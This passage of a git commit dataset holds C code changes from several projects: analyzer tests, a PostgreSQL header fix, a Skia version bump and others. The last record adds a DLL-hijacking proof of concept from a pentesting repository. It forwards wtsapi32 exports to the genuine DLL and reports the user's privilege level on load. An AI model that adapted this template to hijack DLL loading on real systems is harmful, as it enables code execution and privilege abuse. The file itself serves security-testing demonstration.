6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"ab8c5bb9bfb26846ab464247302f3696bc33f424","old_file":"TimeVaryingDragForce.h","new_file":"TimeVaryingDragForce.h","old_contents":"\/*===- TimeVaryingDragForce.h - libSimulation -=================================\n*\n*                                  DEMON\n* \n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n* \n*===-----------------------------------------------------------------------===*\/\n\n#ifndef TIMEVARYINGDRAGFORCE_H\n#define TIMEVARYINGDRAGFORCE_H\n\n#include \"DragForce.h\"\nusing namespace std;\n\nclass TimeVaryingDragForce : public DragForce\n{\t\npublic:\n\tTimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset);\t\/\/overloaded constructor\n\t~TimeVaryingDragForce() {} \/\/destructor\n\n\/\/public functions:\n\tvoid force1(const double currentTime); \/\/rk substep 1\n\tvoid force2(const double currentTime); \/\/rk substep 2\n\tvoid force3(const double currentTime); \/\/rk substep 3\n\tvoid force4(const double currentTime); \/\/rk substep 4\n\t\n\tvoid writeForce(fitsfile *file, int *error) const;\n\tvoid readForce(fitsfile *file, int *error);\n\nprivate:\n\/\/private variables:\n    double scaleConst;\t\/\/[s^-2]\n    double offsetConst; \/\/[s^-1]\n\t\n\/\/private methods:\n\tconst double calculateGamma(const double currentTime) const;\n};\n\n#endif \/* TIMEVARYINGDRAGFORCE_H *\/\n","new_contents":"\/*===- TimeVaryingDragForce.h - libSimulation -=================================\n*\n*                                  DEMON\n* \n* This file is distributed under the BSD Open Source License. See LICENSE.TXT  \n* for details. \n* \n*===-----------------------------------------------------------------------===*\/\n\n#ifndef TIMEVARYINGDRAGFORCE_H\n#define TIMEVARYINGDRAGFORCE_H\n\n#include \"DragForce.h\"\n\nclass TimeVaryingDragForce : public DragForce\n{\t\npublic:\n\tTimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset);\t\/\/overloaded constructor\n\t~TimeVaryingDragForce() {} \/\/destructor\n\n\/\/public functions:\n\tvoid force1(const double currentTime); \/\/rk substep 1\n\tvoid force2(const double currentTime); \/\/rk substep 2\n\tvoid force3(const double currentTime); \/\/rk substep 3\n\tvoid force4(const double currentTime); \/\/rk substep 4\n\t\n\tvoid writeForce(fitsfile *file, int *error) const;\n\tvoid readForce(fitsfile *file, int *error);\n\nprivate:\n\/\/private variables:\n    double scaleConst;\t\/\/[s^-2]\n    double offsetConst; \/\/[s^-1]\n\t\n\/\/private methods:\n\tconst double calculateGamma(const double currentTime) const;\n};\n\n#endif \/* TIMEVARYINGDRAGFORCE_H *\/\n","subject":"Remove unnecessary using directive. This sclences a warning when compiling with clang++.","message":"Remove unnecessary using directive. This sclences a warning when compiling with clang++.","lang":"C","license":"bsd-3-clause","repos":"leios\/demonsimulationcode,leios\/demonsimulationcode"}
{"commit":"77adde032a0f7a7fd7fb5475894e7638949fa0f9","old_file":"src\/11pm.h","new_file":"src\/11pm.h","old_contents":"#pragma once\n\/* 11pm.h - functions and data types related\n * to the operation of HPM itself *\/\n\n\/\/ install.c - functions related to symlinking\n\/\/ (installing) already faked packages\nint xipm_symlink(char *from, char *to);\n","new_contents":"#pragma once\n\/* 11pm.h - functions and data types related\n * to the operation of 11pm itself *\/\n\n\/\/ install.c - functions related to symlinking\n\/\/ (installing) already faked packages\nint xipm_symlink(char *from, char *to);\n","subject":"Change a missed instance of 'HPM'","message":"Change a missed instance of 'HPM'\n","lang":"C","license":"mit","repos":"11pm-pkg\/11pm,11pm-pkg\/11pm"}
{"commit":"884143e3d78327a81ceadff98b4190776396d6c7","old_file":"tests\/regression\/13-privatized\/19-publish-precision.c","new_file":"tests\/regression\/13-privatized\/19-publish-precision.c","old_contents":"\/\/ PARAM: --set ana.int.interval true --set solver \"'td3'\"\n#include<pthread.h>\n#include<assert.h>\n\nint glob1 = 0;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&mutex1);\n  pthread_mutex_lock(&mutex2);\n  glob1 = 5;\n\n  pthread_mutex_unlock(&mutex2);\n  pthread_mutex_lock(&mutex2);\n\n  assert(glob1 == 5);\n  glob1 = 0;\n\n  pthread_mutex_unlock(&mutex1);\n  pthread_mutex_unlock(&mutex2);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(glob1 == 0);\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex2);\n  assert(glob1 == 0); \/\/ UNKNOWN\n  assert(glob1 == 5); \/\/ UNKNOWN\n  pthread_mutex_unlock(&mutex2);\n  pthread_join (id, NULL);\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --set ana.int.interval true --set solver \"'td3'\"\n#include<pthread.h>\n#include<assert.h>\n\nint glob1 = 0;\npthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int t;\n  pthread_mutex_lock(&mutex1);\n  pthread_mutex_lock(&mutex2);\n  glob1 = 5;\n\n  pthread_mutex_unlock(&mutex2);\n  pthread_mutex_lock(&mutex2);\n\n  assert(glob1 == 5);\n  glob1 = 0;\n\n  pthread_mutex_unlock(&mutex1);\n  pthread_mutex_unlock(&mutex2);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(glob1 == 0);\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_mutex_lock(&mutex2);\n  assert(glob1 == 0); \/\/ UNKNOWN!\n  assert(glob1 == 5); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&mutex2);\n  pthread_join (id, NULL);\n  return 0;\n}\n","subject":"Test 13\/19: Add ! to UNKNOWN","message":"Test 13\/19: Add ! to UNKNOWN\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"577f6f33e83d9d3f64974dbe06c7e68374a679eb","old_file":"tests\/regression\/46-apron2\/03-other-assume.c","new_file":"tests\/regression\/46-apron2\/03-other-assume.c","old_contents":"","new_contents":"\/\/PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[+] threadJoins --sets ana.apron.privatization mutex-meet-tid\n#include <pthread.h>\n#include <assert.h>\n\nint g = 10;\nint h = 10;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  return NULL;\n}\n\nvoid *t_benign(void *arg) {\n  pthread_t id2;\n  pthread_create(&id2, NULL, t_fun, NULL);\n  __goblint_assume_join(id2, NULL);\n  \/\/ t_fun should be in here\n\n  g = 7;\n\n  return NULL;\n}\n\nint main(void) {\n  int t;\n\n  pthread_t id2[10];\n  for(int i =0; i < 10;i++) {\n    pthread_create(&id2[i], NULL, t_benign, NULL);\n  }\n\n  __goblint_assume_join(id2[2]);\n  \/\/ t_benign and t_fun should be in here\n\n  assert(g==h); \/\/FAIL\n\n  return 0;\n}\n","subject":"Add test that's unsound because of __goblint_assume_join(...)","message":"Add test that's unsound because of __goblint_assume_join(...)\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6812abb673f9755e5c9a777dd65123f9041667ad","old_file":"contrib\/tsearch2\/ispell\/regis.h","new_file":"contrib\/tsearch2\/ispell\/regis.h","old_contents":"#ifndef __REGIS_H__\n#define __REGIS_H__\n\n#include \"postgres.h\"\n\ntypedef struct RegisNode\n{\n\tuint32\n\t\t\t\ttype:2,\n\t\t\t\tlen:16,\n\t\t\t\tunused:14;\n\tstruct RegisNode *next;\n\tunsigned char data[1];\n}\tRegisNode;\n\n#define  RNHDRSZ\t(sizeof(uint32)+sizeof(void*))\n\n#define RSF_ONEOF\t1\n#define RSF_NONEOF\t2\n\ntypedef struct Regis\n{\n\tRegisNode  *node;\n\tuint32\n\t\t\t\tissuffix:1,\n\t\t\t\tnchar:16,\n\t\t\t\tunused:15;\n}\tRegis;\n\nint\t\t\tRS_isRegis(const char *str);\n\nint\t\t\tRS_compile(Regis * r, int issuffix, const char *str);\nvoid\t\tRS_free(Regis * r);\n\n\/* 1   *\/\nint\t\t\tRS_execute(Regis * r, const char *str, int len);\n\n#endif\n","new_contents":"#ifndef __REGIS_H__\n#define __REGIS_H__\n\n#include \"postgres.h\"\n\ntypedef struct RegisNode\n{\n\tuint32\n\t\t\t\ttype:2,\n\t\t\t\tlen:16,\n\t\t\t\tunused:14;\n\tstruct RegisNode *next;\n\tunsigned char data[1];\n}\tRegisNode;\n\n#define  RNHDRSZ\t(offsetof(RegisNode,data))\n\n#define RSF_ONEOF\t1\n#define RSF_NONEOF\t2\n\ntypedef struct Regis\n{\n\tRegisNode  *node;\n\tuint32\n\t\t\t\tissuffix:1,\n\t\t\t\tnchar:16,\n\t\t\t\tunused:15;\n}\tRegis;\n\nint\t\t\tRS_isRegis(const char *str);\n\nint\t\t\tRS_compile(Regis * r, int issuffix, const char *str);\nvoid\t\tRS_free(Regis * r);\n\n\/* 1   *\/\nint\t\t\tRS_execute(Regis * r, const char *str, int len);\n\n#endif\n","subject":"Fix incorrect header size macros","message":"Fix incorrect header size macros\n","lang":"C","license":"agpl-3.0","repos":"tpostgres-projects\/tPostgres,50wu\/gpdb,Chibin\/gpdb,royc1\/gpdb,jmcatamney\/gpdb,rubikloud\/gpdb,rvs\/gpdb,edespino\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,cjcjameson\/gpdb,50wu\/gpdb,arcivanov\/postgres-xl,tangp3\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,yuanzhao\/gpdb,zeroae\/postgres-xl,kmjungersen\/PostgresXL,kaknikhil\/gpdb,jmcatamney\/gpdb,randomtask1155\/gpdb,adam8157\/gpdb,zaksoup\/gpdb,randomtask1155\/gpdb,pavanvd\/postgres-xl,Chibin\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,janebeckman\/gpdb,ashwinstar\/gpdb,rubikloud\/gpdb,atris\/gpdb,lintzc\/gpdb,foyzur\/gpdb,atris\/gpdb,yazun\/postgres-xl,pavanvd\/postgres-xl,royc1\/gpdb,0x0FFF\/gpdb,rubikloud\/gpdb,lpetrov-pivotal\/gpdb,tpostgres-projects\/tPostgres,xuegang\/gpdb,0x0FFF\/gpdb,zaksoup\/gpdb,50wu\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,lintzc\/gpdb,jmcatamney\/gpdb,kaknikhil\/gpdb,xuegang\/gpdb,chrishajas\/gpdb,kmjungersen\/PostgresXL,lintzc\/gpdb,lpetrov-pivotal\/gpdb,techdragon\/Postgres-XL,CraigHarris\/gpdb,oberstet\/postgres-xl,ovr\/postgres-xl,foyzur\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,foyzur\/gpdb,Chibin\/gpdb,50wu\/gpdb,rvs\/gpdb,zeroae\/postgres-xl,kmjungersen\/PostgresXL,yuanzhao\/gpdb,xinzweb\/gpdb,Quikling\/gpdb,postmind-net\/postgres-xl,zaksoup\/gpdb,CraigHarris\/gpdb,yuanzhao\/gpdb,atris\/gpdb,jmcatamney\/gpdb,janebeckman\/gpdb,rubikloud\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,atris\/gpdb,greenplum-db\/gpdb,Quikling\/gpdb,Chibin\/gpdb,xuegang\/gpdb,xuegang\/gpdb,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,zaksoup\/gpdb,xinzweb\/gpdb,royc1\/gpdb,yuanzhao\/gpdb,tangp3\/gpdb,janebeckman\/gpdb,greenplum-db\/gpdb,CraigHarris\/gpdb,arcivanov\/postgres-xl,50wu\/gpdb,edespino\/gpdb,Quikling\/gpdb,atris\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,0x0FFF\/gpdb,Chibin\/gpdb,snaga\/postgres-xl,xinzweb\/gpdb,arcivanov\/postgres-xl,yazun\/postgres-xl,ashwinstar\/gpdb,ahachete\/gpdb,yazun\/postgres-xl,tangp3\/gpdb,ahachete\/gpdb,postmind-net\/postgres-xl,ashwinstar\/gpdb,jmcatamney\/gpdb,xuegang\/gpdb,lisakowen\/gpdb,kmjungersen\/PostgresXL,chrishajas\/gpdb,lpetrov-pivotal\/gpdb,lintzc\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,50wu\/gpdb,edespino\/gpdb,royc1\/gpdb,postmind-net\/postgres-xl,janebeckman\/gpdb,pavanvd\/postgres-xl,CraigHarris\/gpdb,yuanzhao\/gpdb,zeroae\/postgres-xl,ovr\/postgres-xl,rubikloud\/gpdb,randomtask1155\/gpdb,jmcatamney\/gpdb,kaknikhil\/gpdb,greenplum-db\/gpdb,ahachete\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,lintzc\/gpdb,CraigHarris\/gpdb,ashwinstar\/gpdb,rubikloud\/gpdb,adam8157\/gpdb,adam8157\/gpdb,foyzur\/gpdb,snaga\/postgres-xl,randomtask1155\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,snaga\/postgres-xl,Postgres-XL\/Postgres-XL,adam8157\/gpdb,arcivanov\/postgres-xl,randomtask1155\/gpdb,kaknikhil\/gpdb,tangp3\/gpdb,royc1\/gpdb,50wu\/gpdb,rvs\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,ahachete\/gpdb,tpostgres-projects\/tPostgres,rvs\/gpdb,0x0FFF\/gpdb,kaknikhil\/gpdb,oberstet\/postgres-xl,randomtask1155\/gpdb,snaga\/postgres-xl,atris\/gpdb,zaksoup\/gpdb,lintzc\/gpdb,edespino\/gpdb,rvs\/gpdb,xinzweb\/gpdb,yazun\/postgres-xl,Chibin\/gpdb,janebeckman\/gpdb,ovr\/postgres-xl,lintzc\/gpdb,xuegang\/gpdb,ahachete\/gpdb,Postgres-XL\/Postgres-XL,lpetrov-pivotal\/gpdb,xuegang\/gpdb,tangp3\/gpdb,lisakowen\/gpdb,oberstet\/postgres-xl,oberstet\/postgres-xl,ahachete\/gpdb,yazun\/postgres-xl,janebeckman\/gpdb,0x0FFF\/gpdb,randomtask1155\/gpdb,arcivanov\/postgres-xl,postmind-net\/postgres-xl,adam8157\/gpdb,Chibin\/gpdb,edespino\/gpdb,royc1\/gpdb,ovr\/postgres-xl,xuegang\/gpdb,royc1\/gpdb,yuanzhao\/gpdb,rvs\/gpdb,Postgres-XL\/Postgres-XL,xinzweb\/gpdb,kmjungersen\/PostgresXL,lpetrov-pivotal\/gpdb,Postgres-XL\/Postgres-XL,Chibin\/gpdb,lintzc\/gpdb,tangp3\/gpdb,ovr\/postgres-xl,atris\/gpdb,chrishajas\/gpdb,lpetrov-pivotal\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,zaksoup\/gpdb,xinzweb\/gpdb,zaksoup\/gpdb,0x0FFF\/gpdb,Quikling\/gpdb,0x0FFF\/gpdb,xinzweb\/gpdb,randomtask1155\/gpdb,cjcjameson\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,janebeckman\/gpdb,ahachete\/gpdb,foyzur\/gpdb,edespino\/gpdb,rvs\/gpdb,royc1\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,Quikling\/gpdb,foyzur\/gpdb,Quikling\/gpdb,edespino\/gpdb,oberstet\/postgres-xl,techdragon\/Postgres-XL,lisakowen\/gpdb,yuanzhao\/gpdb,chrishajas\/gpdb,zeroae\/postgres-xl,pavanvd\/postgres-xl,arcivanov\/postgres-xl,techdragon\/Postgres-XL,yuanzhao\/gpdb,tpostgres-projects\/tPostgres,foyzur\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,snaga\/postgres-xl,edespino\/gpdb,Chibin\/gpdb,pavanvd\/postgres-xl,postmind-net\/postgres-xl,xuegang\/gpdb,chrishajas\/gpdb,xinzweb\/gpdb,ahachete\/gpdb,Chibin\/gpdb,rubikloud\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,zeroae\/postgres-xl,CraigHarris\/gpdb,edespino\/gpdb,Postgres-XL\/Postgres-XL,greenplum-db\/gpdb,adam8157\/gpdb,techdragon\/Postgres-XL,CraigHarris\/gpdb,chrishajas\/gpdb,cjcjameson\/gpdb,techdragon\/Postgres-XL,ashwinstar\/gpdb,kaknikhil\/gpdb,lisakowen\/gpdb,foyzur\/gpdb,rvs\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,atris\/gpdb,greenplum-db\/gpdb,rvs\/gpdb,tpostgres-projects\/tPostgres,kaknikhil\/gpdb"}
{"commit":"f77d77d736ccbcbca1a14971e3472388e9af47bd","old_file":"engine\/include\/Core\/Common.h","new_file":"engine\/include\/Core\/Common.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2016 Lech Kulina\n *\n * This file is part of the Realms Of Steel.\n * For conditions of distribution and use, see copyright details in the LICENSE file.\n *\/\n#ifndef ROS_COMMON_H\n#define ROS_COMMON_H\n\n#include <cstddef>\n#include <cstdlib>\n#include <cstdio>\n#include <cstdarg>\n#include <cstring>\n#include <cassert>\n\n#define ROS_NOOP ((void)0)\n#define ROS_NULL NULL\n\n#ifndef ROS_DISABLE_ASSERTS\n    #define ROS_ASSERT assert\n#else\n    #define ROS_ASSERT ROS_NOOP\n#endif\n\nnamespace ros {\n\n    template<class Type, size_t Size>\n    inline Type* ArrayBegin(Type (&array)[Size]) {\n        return &array[0];\n    }\n\n    template<class Type, size_t Size>\n    inline Type* ArrayEnd(Type (&array)[Size]) {\n        return &array[0] + Size;\n    }\n\n    const size_t KB = 1024;\n    const size_t MB = 1024 * 1024;\n\n    template<class Type>\n    inline Type Alignment(const Type& value, size_t multiple) {\n        return (multiple - (value % multiple)) % multiple;\n    }\n\n    template<class Type>\n    inline Type Align(const Type& value, size_t multiple) {\n        return value + alignment(value, multiple);\n    }\n\n}\n\n#endif \/\/ ROS_COMMON_H\n\n","subject":"Add some common utils for arrays and alignment","message":"Add some common utils for arrays and alignment\n","lang":"C","license":"apache-2.0","repos":"lechkulina\/RealmsOfSteel,lechkulina\/RealmsOfSteel"}
{"commit":"df1f6a7e063c494514f25cedc3f615f4599ce313","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"\/*  Copyright 2010 Curtis McEnroe <programble@gmail.com>\n *\n *  This file is part of BSH.\n *\n *  BSH is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation, either version 3 of the License, or\n *  (at your option) any later version.\n * \n *  BSH is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with BSH.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"common.h\"\n#include \"reader.h\"\n#include \"command.h\"\n\nint main(int argc, char *argv[])\n{\n    while (true)\n    {\n        printf(\"%s \", (geteuid() == 0) ? \"#\" : \"$\");\n        char **command = read_command(stdin);\n        if (!command)\n            break;\n        if (strequ(command[0], \"\"))\n            continue;\n        run_command(command);\n        free_command(command);\n    }\n    return 0;\n}\n","new_contents":"\/*  Copyright 2010 Curtis McEnroe <programble@gmail.com>\n *\n *  This file is part of BSH.\n *\n *  BSH is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation, either version 3 of the License, or\n *  (at your option) any later version.\n * \n *  BSH is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with BSH.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"common.h\"\n#include \"reader.h\"\n#include \"command.h\"\n\nint main(int argc, char *argv[])\n{\n    setenv(\"SHELL\", argv[0], true);\n    while (true)\n    {\n        printf(\"%s \", (geteuid() == 0) ? \"#\" : \"$\");\n        char **command = read_command(stdin);\n        if (!command)\n            break;\n        if (strequ(command[0], \"\"))\n            continue;\n        run_command(command);\n        free_command(command);\n    }\n    return 0;\n}\n","subject":"Set the SHELL environment variable","message":"Set the SHELL environment variable\n","lang":"C","license":"isc","repos":"programble\/bsh"}
{"commit":"1ddf35ebc48f1a0922c17399382ce679a51b2bda","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#ifndef __ADR_MAIN_H__\n#define __ADR_MAIN_H__\n\n\/\/ Libraries \/\/\n#include \"craftable.h\"\n#include \"resource.h\"\n#include \"villager.h\"\n#include \"location.h\"\n\n\/\/ Forward Declarations \/\/\nenum LOCATION adr_loc;\nenum FIRE_STATE adr_fire;\nenum ROOM_TEMP adr_temp;\nunsigned int adr_rs [ALIEN_ALLOY + 1];\nunsigned short adr_cs [RIFLE + 1];\nunsigned short adr_vs [MUNITIONIST + 1];\n\n#endif \/\/ __ADR_MAIN_H__\n\/\/ vim: set ts=4 sw=4 et:\n","new_contents":"#ifndef __ADR_MAIN_H__\n#define __ADR_MAIN_H__\n\n\/\/ Libraries \/\/\n#include \"craftable.h\"\n#include \"resource.h\"\n#include \"villager.h\"\n#include \"location.h\"\n\n\/\/ Forward Declarations \/\/\nstatic enum LOCATION adr_loc;\nstatic enum FIRE_STATE adr_fire;\nstatic enum ROOM_TEMP adr_temp;\nstatic unsigned int adr_rs [ALIEN_ALLOY + 1];\nstatic unsigned short adr_cs [RIFLE + 1];\nstatic unsigned short adr_vs [MUNITIONIST + 1];\n\n#endif \/\/ __ADR_MAIN_H__\n\/\/ vim: set ts=4 sw=4 et:\n","subject":"Make all the state variables static (still subject to significant change)","message":"Make all the state variables static (still subject to significant change)\n","lang":"C","license":"mpl-2.0","repos":"HalosGhost\/adarcroom"}
{"commit":"da66946ecd7257482a58d6eee247012d9e5250e9","old_file":"lib\/ReaderWriter\/ELF\/Mips\/MipsRelocationHandler.h","new_file":"lib\/ReaderWriter\/ELF\/Mips\/MipsRelocationHandler.h","old_contents":"\/\/===- lld\/ReaderWriter\/ELF\/Mips\/MipsRelocationHandler.h ------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H\n#define LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H\n\n#include \"TargetHandler.h\"\n#include \"lld\/Core\/Reference.h\"\n\nnamespace lld {\nnamespace elf {\n\ntemplate<typename ELFT> class MipsTargetLayout;\n\nclass MipsRelocationHandler : public TargetRelocationHandler {\npublic:\n  virtual Reference::Addend readAddend(Reference::KindValue kind,\n                                       const uint8_t *content) const = 0;\n};\n\ntemplate <class ELFT>\nstd::unique_ptr<TargetRelocationHandler>\ncreateMipsRelocationHandler(MipsLinkingContext &ctx, MipsTargetLayout<ELFT> &layout);\n\n} \/\/ elf\n} \/\/ lld\n\n#endif\n","new_contents":"\/\/===- lld\/ReaderWriter\/ELF\/Mips\/MipsRelocationHandler.h ------------------===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H\n#define LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H\n\n#include \"TargetHandler.h\"\n#include \"lld\/Core\/Reference.h\"\n\nnamespace lld {\nnamespace elf {\n\ntemplate<typename ELFT> class MipsTargetLayout;\n\nclass MipsRelocationHandler : public TargetRelocationHandler {\npublic:\n  virtual Reference::Addend readAddend(Reference::KindValue kind,\n                                       const uint8_t *content) const = 0;\n};\n\ntemplate <class ELFT>\nstd::unique_ptr<TargetRelocationHandler>\ncreateMipsRelocationHandler(MipsLinkingContext &ctx,\n                            MipsTargetLayout<ELFT> &layout);\n\n} \/\/ elf\n} \/\/ lld\n\n#endif\n","subject":"Reformat the code with clang-format","message":"[Mips] Reformat the code with clang-format\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@234153 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"93e853bf2b832d13cb64194b90a8fec44544e518","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 79\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 80\n#endif\n","subject":"Update Skia milestone to 80","message":"Update Skia milestone to 80\n\nTBR=reed\n\nChange-Id: I121ad8cf68f4a42ba5285cef5c2f9d450ba7545b\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/249123\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nAuto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,google\/skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia"}
{"commit":"be14765aa6c435e9a41b0a680d259fc0495c6ff1","old_file":"example_code\/dll_with_proxies.c","new_file":"example_code\/dll_with_proxies.c","old_contents":"","new_contents":"\/\/ i686-w64-mingw32-g++ dll.c -lws2_32 -o wtsapi32.dll -shared\n#include <windows.h>\n#include <string>\n#include <stdio.h>\n#include <Lmcons.h>\nBOOL IsElevated() {\n\tBOOL fRet = FALSE;\n\tHANDLE hToken = NULL;\n\tif (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {\n\t\tTOKEN_ELEVATION Elevation;\n\t\tDWORD cbSize = sizeof(TOKEN_ELEVATION);\n\t\tif (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {\n\t\t\tfRet = Elevation.TokenIsElevated;\n\t\t}\n\t}\n\tif (hToken) {\n\t\tCloseHandle(hToken);\n\t}\n\treturn fRet;\n}\nasm (\".section .drectve\\n\\t.ascii \\\" -export:WTSEnumerateProcessesW=c:\/windows\/system32\/wtsapi32.WTSEnumerateProcessesW\\\"\");\nasm (\".section .drectve\\n\\t.ascii \\\" -export:WTSQueryUserToken=c:\/windows\/system32\/wtsapi32.WTSQueryUserToken\\\"\");\nasm (\".section .drectve\\n\\t.ascii \\\" -export:WTSFreeMemory=c:\/windows\/system32\/wtsapi32.WTSFreeMemory\\\"\");\nasm (\".section .drectve\\n\\t.ascii \\\" -export:WTSEnumerateSessionsW=c:\/windows\/system32\/wtsapi32.WTSEnumerateSessionsW\\\"\");\nBOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){\n    BOOL elevated;\n    char username[UNLEN+1];\n    DWORD username_len = UNLEN + 1;\n    char out[UNLEN+28];\n    switch(dwReason){\n        case DLL_PROCESS_ATTACH:\n            elevated = IsElevated();\n            GetUserName(username, &username_len);\n            strcpy(out, \"Running \");\n            if (elevated) {\n                strcat(out, \"elevated as user \");\n            } else {\n                strcat(out, \"unelevated as user \");\n            }\n            strcat(out, username);\n            MessageBox(0, out, \"Dll Hijacking POC Code\", 0);\n            break;\n        case DLL_PROCESS_DETACH:\n            break;\n        case DLL_THREAD_ATTACH:\n            break;\n        case DLL_THREAD_DETACH:\n            break;\n    }\n    return TRUE;\n}","subject":"Add dll hijack proxy example","message":"Add dll hijack proxy example\n","lang":"C","license":"bsd-3-clause","repos":"stephenbradshaw\/pentesting_stuff,stephenbradshaw\/pentesting_stuff,stephenbradshaw\/pentesting_stuff,stephenbradshaw\/pentesting_stuff"}
